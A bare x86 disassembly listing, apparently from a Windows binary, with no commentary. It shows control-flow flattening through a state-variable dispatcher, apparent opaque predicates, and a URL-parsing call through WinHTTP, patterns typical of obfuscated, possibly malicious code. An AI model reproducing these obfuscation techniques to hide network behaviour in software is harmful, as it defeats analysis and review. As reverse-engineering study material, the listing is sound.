mov dword [ebp - 0x10], 0x71ad832a
jmp 0x41f60a
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], 0x26f93f81
jmp 0x41f60a
mov edi, dword [ebp - 0x18]
and edi, 0xffffffe0
add edi, 0xffffff9c
mov dword [ebp - 0x18], edi
push 0x5470
push 0x5999
push 0x4b45
push 0x3020
push edi
push 0xd1
call fcn.00414f14
add esp, 0x18
mov eax, 0x403530b5
cmp edi, 0xc9
jl 0x420cbe
mov eax, 0x1866a9bb
jmp 0x420cbe
push 6
push 0x46d96e
push 0x6f
push dword [ebp - 0x38]
call fcn.00426d60
add esp, 0x10
mov dword [ebp - 0x10], 0x6c4ba64c
jmp 0x41f60a
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], 0xa6bb1f9e
jmp 0x41f60a
imul edi, dword [ebp - 0x18], 0x2e4
add edi, 0xffffc405
mov dword [ebp - 0x18], edi
push edi
call fcn.00416946
add esp, 4
mov eax, 0x86873a32
cmp edi, 0x71
jb 0x420cbe
mov eax, 0x3018cd3
jmp 0x420cbe
imul eax, dword [ebp - 0x14], 0xae000
add eax, 0xfdaf5000
shr eax, 0xd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x80bd0680
jmp 0x41f60a
mov eax, dword [ebp - 0x14]
shr eax, 0xa
and eax, 0xffffffe0
add eax, 0xffffff4d
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xb8531cfc
jmp 0x41f60a
mov eax, dword [ebp - 0x80]
mov dword [eax], 0xffffffff
mov edi, dword [ebp + 8]
push edi
call fcn.00458cfa
add esp, 4
push dword [ebp - 0x1c]
push 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
mov ecx, 0x58fb4800
test eax, eax
je 0x420d05
mov ecx, 0x86873a32
jmp 0x420d05
mov eax, dword [ebp - 0x14]
mov ecx, 0x161
add eax, ecx
lea ecx, [eax + eax*4]
mov edx, eax
imul edx, eax
shl ecx, 8
imul edi, edx, 0x595f
add ecx, 0xfffffff9
dec edi
shr ecx, 6
mov dword [ebp - 0x14], ecx
mov eax, 0x86873a32
cmp edi, edx
je 0x420b84
mov eax, 0xeab2a06a
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
jmp 0x41f60a
mov dword [ebp - 0x10], 0x4d1d7095
jmp 0x41f60a
mov eax, dword [ebp - 0x14]
shr eax, 1
and eax, 0xffffc
add eax, 0xffffff76
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x3030874d
jmp 0x41f60a
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x10], 0x71f59ce6
jmp 0x41f60a
cmp dword [ebp - 0xa0], 0
mov eax, 0x6b01529d
je 0x420bed
mov eax, 0x75a5d0c
mov dword [ebp - 0x10], eax
jmp 0x41f60a
mov edi, dword [ebp - 0x1c]
add edi, 4
xor eax, eax
mov ecx, 0xe
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0x1866a9bb
jmp 0x41f60a
mov eax, dword [ebp - 0x18]
mov ecx, 0xfffff8
and eax, ecx
lea eax, [eax*8 + 0x44]
mov dword [ebp - 0x18], eax
push eax
push 0x6211
call fcn.00414da7
add esp, 8
mov dword [ebp - 0x10], 0x8d797533
jmp 0x41f60a
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ebp - 0x10], 0x8d9b8c94
jmp 0x41f60a
mov dword [ebp - 0x10], 0xbb98ae39
jmp 0x41f60a
push eax
sub esp, 0xdc
mov eax, esp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], 0x8d797533
jmp 0x41f60a
push eax
sub esp, 0x3fc
mov eax, esp
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], 0x7e6487db
jmp 0x41f60a
cmp byte [ebp - 0x1d], 0
mov eax, 0x58fb4800
jne 0x420cbe
mov eax, 0xd463dc2f
jmp 0x420cbe
mov ecx, dword [ebp - 0x18]
shr ecx, 5
add ecx, 0xffffffb1
mov dword [ebp - 0x18], ecx
mov eax, 0xbf2b47ba
cmp ecx, 0x24
je 0x420cbe
mov eax, 0x24608b53
mov dword [ebp - 0x10], eax
jmp 0x41f60a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0xf4db464e
jmp 0x41f60a
imul eax, dword [ebp - 0x14], 0xdf
add eax, 0x68
mov ecx, eax
and ecx, 0x7fffffff
imul eax, eax
imul edx, eax, 0x34f7
dec edx
add ecx, 0x76
mov dword [ebp - 0x14], ecx
mov ecx, 0xf6c53369
cmp eax, edx
je 0x420d05
mov ecx, 0xbfbf37ae
mov dword [ebp - 0x10], ecx
jmp 0x41f60a
cmp eax, 0x58fb4800
je 0x420d48
jmp 0x41f60a
cmp eax, 0xe0ae09ed
jne 0x41f60a
imul eax, dword [ebp - 0x18], 0x23c
add eax, 0xfffe50c4
mov dword [ebp - 0x18], eax
push 0x5792
push 0x612d
push 0x13fc
push eax
call fcn.0041b178
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret